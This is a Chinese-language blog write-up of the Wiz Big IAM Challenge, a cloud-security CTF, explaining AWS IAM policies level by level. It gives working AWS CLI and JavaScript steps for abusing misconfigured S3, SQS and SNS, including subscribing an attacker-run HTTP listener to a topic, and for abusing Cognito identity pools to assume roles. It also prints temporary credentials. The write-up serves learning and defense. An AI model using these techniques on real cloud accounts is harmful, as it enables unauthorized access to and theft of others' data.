【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

admin 2023年10月1日20:18:20评论28 views字数 15603阅读52分0秒阅读模式

前言云IAM 介绍挑战赛    第一关        IAM 策略类型        怎么判断策略是哪种类型    第二关        使用 AWS CLI 接收队列(SQS)消息    第三关        使用 AWS CLI 以 HTTP 协议订阅 SNS    第四关        IAM 策略中的条件运算符(Condition)        使用 AWS CLI 不包含身份信息访问 s3        在浏览器中不包含身份信息访问s3    第五关        使用 Amazon Cognito 获取临时凭据列出存储桶对象        使用 Amazon Cognito 获取临时凭据读取存储桶对象    第六关        使用 AWS CLI 生成 AssumeRoleWithWebIdentity STS        使用 AWS CLI 获取身份ID和web-identity-token总结参考链接

前言

WIZ IAM挑战赛主要涉及云上IAM错误配置引发的漏洞。本文通过该比赛的6个题目,了解云IAM的基础及一些漏洞点,同时熟悉AWS命令行界面工具的使用。

挑战赛地址可访问:https://bigiamchallenge.com/

云IAM 介绍

IAM是Identity and access management的简称,身份和访问管理服务,是云厂商提供的一种用于帮助用户安全地控制对云上资源访问的服务。简言之就是一套访问云上资源的鉴权系统。

简单理解云IAM为一套鉴权系统,那么针对不同的资源、不同的角色就有响应的 IAM 策略,如下就是一个简单的IAM策略(对于S3服务的访问策略):

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": "s3:GetObject",
           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
      },
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": "s3:ListBucket",
           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
           "Condition": {
               "StringLike": {
                   "s3:prefix": "files/*"
              }
          }
      }
  ]
}

挑战赛

第一关

题目名:Buckets of Fun

题目描述:We all know that public buckets are risky. But can you find the flag?

查看IAM 策略:

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": "s3:GetObject",
           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
      },
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": "s3:ListBucket",
           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
           "Condition": {
               "StringLike": {
                   "s3:prefix": "files/*"
              }
          }
      }
  ]
}

IAM 策略类型

这是一个IAM Policy,简单了解下IAM策略有哪些类型,查看官方文档:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

有6种策略;

大多数策略在 AWS 中存储为 JSON 文档。

基于身份的策略和用于设置权限边界的策略是您附加到用户或角色的 JSON 策略文档。

基于资源的策略是附加到资源的 JSON 策略文档。

SCP 是附加到 AWS Organizations 组织单元 (OU) 的使用限制语法的 JSON 策略文档。

ACL 也可附加到资源,但必须使用不同的语法。

会话策略是您在创建角色或联合身份用户会话时提供的 JSON 策略。

重点关注基于身份的策略基于资源的策略(上图有这两种策略的介绍)

怎么判断策略是哪种类型

可以根据IAM Policy中的Principal字段,基于资源的策略里需要有Principal

这点可以根据文档信息得到,记录一下怎么高效查询官方文档。

文档地址:https://docs.aws.amazon.com/zh_cn/

首先搜索产品,要了解IAM Policy相关信息,就搜索IAM这个产品服务:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

有三个结果(其他两个是IAM的一些高级选项服务),根据名称判断选择AWS Identity and Access Management

然后在这个产品中搜索Principal

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

就能查到相关结果:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

因此,看到IAM Policy中出现Principal字段,能判断该策略是基于资源的策略,该字段指定了运行或拒绝访问资源的主体。"Principal": "*" 代表访问主体是可以匿名访问的,文档解释信息如下:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

回到题目,

Statement: 表示策略的具体权限声明,这里声明了两个权限;

Resource: 表示授权的资源。两个授权的资源对象都是s3服务,第一个声明的资源是 thebigiamchallenge-storage-9979f4b 桶下面的所有对象;第二个声明的资源是 thebigiamchallenge-storage-9979f4b 桶本身。

s3介绍可以看这篇文章:https://wiki.teamssix.com/CloudService/S3/

Action: 表示允许执行的操作,第一个声明允许执行"s3:GetObject"操作,结合Resource字段,就是可以获取这个桶下面的所有对象内容;第二个声明允许执行"s3:ListBucket"操作,结合Resource字段,就是可以列出这个存储桶下面有哪些对象。

Condition: 表示附加的条件限制,第二个声明中使用了"StringLike"条件函数,限制了仅当对象的前缀为"files/"时才允许列出存储桶,也就是只能列出thebigiamchallenge-storage-9979f4b/files/下面有哪些对象。

结合所有信息总结就是:允许所有人(可匿名访问)对指定的S3存储桶中的文件进行读取,并且只允许列出存储桶中以"files/"开头的对象。

浏览器访问这个s3服务:

https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/

存储桶名称.s3.amazonaws.com中间可能还有地区,后面会遇到;

也可以这样访问:

https://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/

https://s3.amazonaws.com/存储桶名称/

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

可以看到列出了对象(只看到了/files/下的对象,对应了第二条声明)

第一条声明了我们能获取这个桶下面的所有对象内容,所以可以直接读取/files/flag1.txt的内容:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

也可以用AWS CLI工具访问、下载

pip安装

python3 -m pip install awscli

列出存储桶中的文件和文件夹:

aws s3 ls s3://<bucket-name>/

下载存储桶中的文件:

aws s3 cp s3://<bucket-name>/<file-key> <local-file-path>

上传本地文件到存储桶:

aws s3 cp <local-file-path> s3://<bucket-name>/<file-key>

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

第二关

题目名:Google Analytics

题目描述:We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?Join our queue and get the secret flag.

查看IAM策略:

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": [
               "sqs:SendMessage",
               "sqs:ReceiveMessage"
          ],
           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
      }
  ]
}

首先这是一个基于资源的策略,因为Policy中存在Principal字段,策略允许任何人("*")执行sqs:SendMessagesqs:ReceiveMessage这两个操作,而资源是一个特定的Amazon Simple Queue Service (SQS) 队列,就是一个消息队列。

任何人都可以向这个特定的队列发送消息和接收消息。

使用 AWS CLI 接收队列(SQS)消息

使用 AWS CLI 的 SQS 服务里的 receive-message 接口, --queue-url 参数指定这个队列的 URL 地址:

怎么构造这个URL:

"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"

指定了 Account ID 和 Queue

URL即为:https://queue.amazonaws.com/Account ID/Queue

aws sqs receive-message --queue-url https://queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

响应Body里面返回了一个URL,访问这个URL就得到flag

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

第三关

题目名:Enable Push Notifications

题目描述:We got a message for you. Can you get it?

查看IAM策略:

{
   "Version": "2008-10-17",
   "Id": "Statement1",
   "Statement": [
      {
           "Sid": "Statement1",
           "Effect": "Allow",
           "Principal": {
               "AWS": "*"
          },
           "Action": "SNS:Subscribe",
           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
           "Condition": {
               "StringLike": {
                   "sns:Endpoint": "*@tbic.wiz.io"
              }
          }
      }
  ]
}

基于资源的策略,资源是SNS(Simple Notification Service)。

这个服务能够帮助开发人员向移动设备、电子邮件、消息队列等多种终端发送通知消息,让你能够轻松地向用户传递重要信息和实时更新。简单来说,SNS 就像是一个消息广播系统,让你能够快速、可靠地将消息发送给订阅者,确保他们及时收到你发送的通知。

策略允许任何AWS账号下的用户订阅指定SNS主题,但要求订阅者的终端地址必须是以@tbic.wiz.io结尾的地址(不一定是邮件地址)。

使用 AWS CLI 以 HTTP 协议订阅 SNS

这个地址不一定是邮件地址,它支持多个订阅接收地址:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

那么就能起一个HTTP服务(如nc监听服务),指定订阅地址为http://x.x.x.x/@tbic.wiz.io 这种格式,来绕过*@tbic.wiz.io格式限制。

aws sns subscribe --topic-arn "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications" --protocol http --notification-endpoint "http://x.x.x.x/@tbic.wiz.io"

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

响应pending confirmation,需要我们访问链接确定订阅

服务端监听到确认订阅的链接(SubscribeURL):

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

访问链接就可确认订阅。

那么我们服务端监听的8888,就已经成功订阅了目标服务,再次监听8888等待目标推送信息:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

Message字段为推送过来的消息,即flag。

第四关

题目名:Admin only?

题目描述:We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

查看IAM策略:

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": "s3:GetObject",
           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
      },
      {
           "Effect": "Allow",
           "Principal": "*",
           "Action": "s3:ListBucket",
           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
           "Condition": {
               "StringLike": {
                   "s3:prefix": "files/*"
              },
               "ForAllValues:StringLike": {
                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
              }
          }
      }
  ]
}

跟第一关的s3存储桶策略类似,只是s3:ListBucket操作权限被限制在files/,且只能特定的principal才能操作(通过ForAllValues:StringLike)。

IAM 策略中的条件运算符(Condition)

Condition字段指定这个策略的条件运算,这个策略中两个都为字符串条件运算符,使用StringLike

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

策略中第一个condition通过使用StringLike指定s3:prefix这个键的字符串值为files/*,也就是只能列出files/下的对象。

第二个condition通过使用ForAllValues:StringLike指定aws:PrincipalArn这个键的字符串值为arn:aws:iam::133713371337:user/admin,也就是这个主体才能列出对象。

根据上面截图的官方文档可知,ForAllValues是条件运算符StringLike的修饰,用于一个键包含多个值的情况。

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

这道题的策略,aws:PrincipalArn这个键只有一个值也用了多值上下文键。

回到题目,IAM策略中是Allow的,如果我们传入的主体Principal是空的(非匿名,是不包含身份信息),那么第二个条件就会返回true,从而绕过这个限制。

使用 AWS CLI 不包含身份信息访问 s3

AWS CLI 中使用 --no-sign-request 就能不包含身份信息。

aws s3 ls --no-sign-request s3://thebigiamchallenge-admin-storage-abf1321/files/

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

直接浏览器读取对象内容(因为第一个声明允许匿名GetObject)

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

在浏览器中不包含身份信息访问s3

直接浏览器列出是没有权限的

https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/files/

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

在浏览器中加上前缀就可以不带身份访问:

https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/?prefix=files/

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

回顾,ForAllValuesAllow 效果一起使用,出现键值为空的情况就会返回true。

防范措施,把 ForAllValues 替换成 ForAnyValue ,如果键值是空值的话,ForAnyValue 会返回 False,而不是 True,此时我们如果是未授权的访问就会提示 AccessDenied。

第五关

题目名及描述如下:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

这题目中间有个图片,跟本题有关。

查看IAM策略:

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Sid": "VisualEditor0",
           "Effect": "Allow",
           "Action": [
               "mobileanalytics:PutEvents",
               "cognito-sync:*"
          ],
           "Resource": "*"
      },
      {
           "Sid": "VisualEditor1",
           "Effect": "Allow",
           "Action": [
               "s3:GetObject",
               "s3:ListBucket"
          ],
           "Resource": [
               "arn:aws:s3:::wiz-privatefiles",
               "arn:aws:s3:::wiz-privatefiles/*"
          ]
      }
  ]
}

这道题目的策略中没有了Principal这个字段,说明这不是一个基于资源的策略,是一个基于身份的策略。

那这个策略作用于哪个身份?

第二个声明就是对一个s3存储桶的List和Get操作;第一个声明就是一个身份声明。

AWS Cognito 可以简单理解为一项身份验证的托管服务。

要使用 Cognito 需要先创建一个 Amazon Cognito 身份池,然后填入创建的身份池 ID 去调用 SDK 获取临时凭证,最后通过临时凭证去操作资源。

那么这个基于身份的策略,就是给到Cognito身份池中某个身份用的(身份池 ID)

查看题目中图片的地址:

https://wiz-privatefiles.s3.amazonaws.com/cognito1.png?AWSAccessKeyId=ASIARK7LBOHXF4ZCNLWZ&Expires=1695703959&Signature=7yxd65mg1J9F8bMS49%2B0%2BzLxAys%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJHMEUCIQClnyDM7dsFGndIxb0jaFIlFacwqTQiYmZrkxtOgE8mowIgcUH642WdzhjuSyuym5OyJIMOA6tRlFQVYyl1%2FgrrE1IqyAUIbRAAGgwwOTIyOTc4NTEzNzQiDJCn0sYAj2h7I5XvXSqlBfxu8GCvJHzAECbROVh1LhEPajftaoyOE%2B104FsTbhVJtB9oaRYwJXiLkVPMnfLiTFt6NH%2FkxbECg4gksvlgdZpM5dvqyvEl95eQ8xtMp9ytWWrswIllqkhcgKzWB7ThIGvfQkESH8dW0K9LjLSkqnyXHy1OK8NktkLtU%2FWTD5VhrTRHfP%2FGepv92hpFFzec%2BLCL84fNK%2Ff5rj5JzwEX0NpN9%2Fd6ZBxxGhb4K9DjfB%2Byc0Wf0K%2FJZipgPtKb7ocX6S%2FGaLx%2Bp7ERqAiVysmzwWDR7HiSv2B7Ij0naTkXNiZ%2BCyknkD7eDP00WlwkubH1SbZJW9MZNfLXlWl%2BFOQoqe7b9e27HYoY5wBwbP6xyeceh%2Ftfc0jrnkBItWqIsGvmIvMbB%2BZaoya0iBhybYzN1Ra4LO87AXo%2BPwImivwnd4QDxvEYn9KWQLr8E%2BjUA7izRpmj2X7h5jzcbNUFQe77nhpt%2FXNYQeklUuQDAYZuykRHFoTlrvstg4ISedfw6mTj4S5J2fTeBHtCZ5Lypq9WMyLXfihoxOeLc7em4B1CZq2n2AbxMOHqbAak8viYgvJAgcE18pZDnuN2oEE0ixy1cNtycUs6fOiXuUKczefvRe17ausSvKZHUMvV%2BQbBp%2Fk%2FxxC39j%2FN0XU0%2FUYlhXlfK6LzzyS3oNMnGervm%2BGbfHLIwSWnnaiJi2TP7PCbnOCK6yv33KNxc5xXD3YO53qurxIej%2BgrkgzBNWziXcJDLD3mmRb5CgnVT2T2QHM1EIh0VP2MK3gKCX0DnZS1l69YZ44O9xO%2FaryWxetVytTDn0UklxegAFlrQW4uqhpNH7eo%2BEY06B1HNo44%2BKCzAcOyUyvBAatkyxSYD14VYmMoG7cgR1a0%2B7h8DDIMB4GS45LOy9jihVxrMIeryagGOt4CNEwOStr2J7oWbVnqBruyZCGOKfQ8AsMHxuBvHOl7UG%2BnbkeUmGySE24c%2Bt2UFDXLzH%2BVRS8DoxfL4JrbeIsljMW%2F0WmtVCne3b3U2vT%2BRry8pNeoY8MZcPVRUv6PI%2BttIfuy3%2FfZ9vhyOppXLB9mfaHTJJteV2HQpGp8EiipOibGwv5FnvgrThiQhOLtAk%2FW1ZarJe7%2FclIDMvyxCzimL8voCuDSpVjV%2BZTrkrLQ%2BtG%2FV5bfPpMoK0n08joWgdLgA3RZPzD80PysPiyZNA6zWMU2Rb1hfc7tOZ5YMerw%2BxGVayMCkuCFOLh6XmVoqNO5DePcJXxbnXhIXfK6Qx4PqVxgq1NJZTtTOM8BsNbMuzPjXxehlXPp%2BFhMvJ64UN7YORynnR7FYsUA5SfW3R2PkRvrLW1ybtGfN5bHW8FXjAWG0nxYmmqdwuPVbt3eOFXcDvKgHMNFg2dO%2Fh4oQqg%3D

可以看到这个图片托管在wiz-privatefiles这个s3存储桶上,直接访问这个图片对象是没有权限的,需要带上临时凭据。

那么这个临时凭据怎么来的,这里必然是写在前端代码里面,前端代码加载时生成临时凭据请求图片资源。

  AWS.config.region = 'us-east-1';
 AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
 // Set the region
 AWS.config.update({region: 'us-east-1'});

 $(document).ready(function() {
   var s3 = new AWS.S3();
   params = {
     Bucket: 'wiz-privatefiles',
     Key: 'cognito1.png',
     Expires: 60 * 60
  }

   signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
     $('#signedImg').attr('src', url);
  });
});

可以看到,前端代码已经暴露了身份池 ID

直接在浏览器console中调用,操作s3

使用 Amazon Cognito 获取临时凭据列出存储桶对象

AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
AWS.config.update({region: 'us-east-1'});
var s3 = new AWS.S3();
params = {
 Bucket: 'wiz-privatefiles',
 Expires: 60 * 60
};
s3.getSignedUrl('listObjects', params, function (err, url) {console.log(url);})

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

访问返回的url,就是存储桶中对象的键:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

使用 Amazon Cognito 获取临时凭据读取存储桶对象

对象的键为flag1.txt

AWS.config.region = 'us-east-1';
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
AWS.config.update({region: 'us-east-1'});
var s3 = new AWS.S3();
params = {
 Bucket: 'wiz-privatefiles',
 Expires: 60 * 60,
 Key: 'flag1.txt'
};
s3.getSignedUrl('getObject', params, function (err, url) {console.log(url);})

访问返回的url

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

即可读取对象的内容:

【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具

第六关

题目名:One final push

题目描述:

Anonymous access no more. Let's see what can you do now.
Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

查看IAM策略:

{
   "Version": "2012-10-17",
   "Statement": [
      {
           "Effect": "Allow",
           "Principal": {
               "Federated": "cognito-identity.amazonaws.com"
          },
           "Action": "sts:AssumeRoleWithWebIdentity",
           "Condition": {
               "StringEquals": {
                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
              }
          }
      }
  ]
}

逐行看这个IAM Policy,在Statement中,允许执行此操作;

这个操作Actionsts:AssumeRoleWithWebIdentity,查看官方文档得知,通过此操作可以获取一个临时安全凭证STS。

使用 AWS CLI 生成 AssumeRoleWithWebIdentity STS

通过aws help选项可以看到生成STS时需要传入的参数:

aws sts assume-role-with-web-identity help
assume-role-with-web-identity
  --role-arn <value>
  --role-session-name <value>
  --web-identity-token <value>

三个必选项,第一个role-arn,题目描述已经给出;

第二个role-session-name可以随便取;第三个web-identity-token需要通过身份池ID获得,身份池ID在IAM策略中已经体现。

使用 AWS CLI 获取身份ID和web-identity-token

首先使用身份池ID获取它的身份ID

aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

# 结果为
{
  "IdentityId": "us-east-1:03d65a43-16a1-4192-8ea6-9908018042dd"
}

接着使用这个身份ID获取web-identity-token

aws cognito-identity get-open-id-token --identity-id us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db

# 结果为
{
  "IdentityId": "us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db",
  "Token": "eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6NDUzY2VhODMtYTJjMC00YjY0LWE3ZmYtOWRjMzc4MzcwMWRiIiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE2OTYxNDA0NjUsImlhdCI6MTY5NjEzOTg2NX0.n7kSs9-EwvId2AHif0q8nkwBAOOp9_75GoxbpkQVZk-67X7NDHSsjeGmKUuMSFID8pNvFqhfUgDv7xMsHUHSMr-R4Wh0Be_-MWl3XXi7uiyFggeCx1zarh2oLyfi3x6txgSN8i75pXcf4-8UWJ5o-jTnH9ZcRxtKCGigs_THmZCOHS30roobCabZbXes8XFe3Ef7aT-nksb0Nk6RVrhkurlGbIM5WenY9fPsmyVNV1np06J_dkeEhcU6fkd5GBZBWKN2zc_SAewmmEf2Etkmop0sizsLGZJmFIkmxdZheODnPQrtljlAYN85-0GFjdS0nLUxHBgaybpL_SdxiLEdwQ"
}

最后就是使用 AWS CLI 生成 AssumeRoleWithWebIdentity STS

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name xinanwenzhai --web-identity-token eyJraWQiOixxxxxxx

# 结果为
{
  "Credentials": {
      "AccessKeyId": "ASIARK7LBOHXAPA6OD4O",
      "SecretAccessKey": "qwOf5Z4wTBO5sxn3EtSuuUk/N0zZVJ41O3JtZIEt",
      "SessionToken": "FwoGZXIvYXdzEP///////////wEaDG0KpCypRcikY/UQLSKkAkyZyqr1GlhC7padO8uPlNmWZZWCoKWRoABC41AWuRqxjvUkxoktP+hXaYF9QMiWmlmdfF2PhQMceJfvSsWntQiBFYXFRMCXZQTZppJprOx+94Ng7so0BHOlv9BUMMjgfzGhHspDb2URqueA/1T2VDa/oi1+Wu60ZDG6Ou85J/XbP2Wk1LD3OU1BjrviXfH4b0Dj0ZnkwrJQOBkbEAU3QJ1oYIzFYVZ2tlSQMXzy32bbog1Ewdu+emrEqyPtpZiosR6Fk+YyGwQeQB37L5oAJcA4Mq7cp6MZXknukmH70ODHPmKql73zFeh86NjC+tU2h9X7Z1/peBTlL7tU2+gQ7BcK8pA4lUxHX74EAkf2o44D79qH4CfRMprIUeKyZopmG4WX5NMolpXkqAYylgHV1qvpWXKcIoi9Wsk0XPm3KRJJE+k+wMbAKIiVV5Npr1wOw2pmYvZlU5q1X+B/P6F6pHm4VcVUrkyk19rzrwNpNi3baI+TCFhZSfcJOJZzeatd3Gx4UEr0AByup4F8Cvq/EZ2BLyHJug39O6XIG4OI/38dxXQ+KRNSKLKJKnpmERqyAi8fongyyTzZcVY419NsfnhODO0=",
      "Expiration": "2023-10-01T06:58:46Z"
  },
  "SubjectFromWebIdentityToken": "us-east-1:453cea83-a2c0-4b64-a7ff-9dc3783701db",
  "AssumedRoleUser": {
      "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:xinanwenzhai",
      "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/xinanwenzhai"
  },
  "Provider": "cognito-identity.amazonaws.com",
  "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}

就得到了一个STS的临时aksk,可以使用AWS CLI配置key,访问这个s3服务了:

终端下配置临时环境变量

set AWS_ACCESS_KEY_ID=ASIARK7LBOHXAPA6OD4O
set AWS_SECRET_ACCESS_KEY=qwOf5Z4wTBO5sxn3EtSuuUk/N0zZVJ41O3JtZIEt
set AWS_SESSION_TOKEN=FwoGZXIvYXdzEPxxxxx

列出s3对象

aws s3 ls
2023-06-05 01:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 21:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-05 00:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 21:28:31 wiz-privatefiles
2023-06-05 21:28:31 wiz-privatefiles-x1000

下载并读取对象

C:UsersAdministrator>aws s3api get-object --bucket wiz-privatefiles-x1000 --key flag2.txt flag2.txt
{
  "AcceptRanges": "bytes",
  "LastModified": "Mon, 05 Jun 2023 13:28:35 GMT",
  "ContentLength": 40,
  "ETag": ""48b4d561fb4900a861fa55626be4a103"",
  "ContentType": "text/plain",
  "ServerSideEncryption": "AES256",
  "Metadata": {}
}

C:UsersAdministrator>type flag2.txt
{wiz:open-sesame-or-shell-i-say-openid}

于是,通过身份池ID需要扮演的对象ARN这两条信息,就能获取对应角色的权限。

总结

挑战赛的6道题还是很有意思,对新手很友好。做完之后对整个AWS云也有初步了解,包括各种概念及工具的使用。

官方文档ChatGPT能帮助理解很多内容。

参考链接

https://wiki.teamssix.com/CloudService/IAM/the_big_iam_challenge_writeup.html

https://mp.weixin.qq.com/s/Yemzqd-TEfzjrCIyS0I_2A

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月1日20:18:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云原生渗透】- 通过WIZ IAM挑战赛熟悉云IAM漏洞及工具https://cn-sec.com/archives/2081922.html

发表评论

匿名网友 填写信息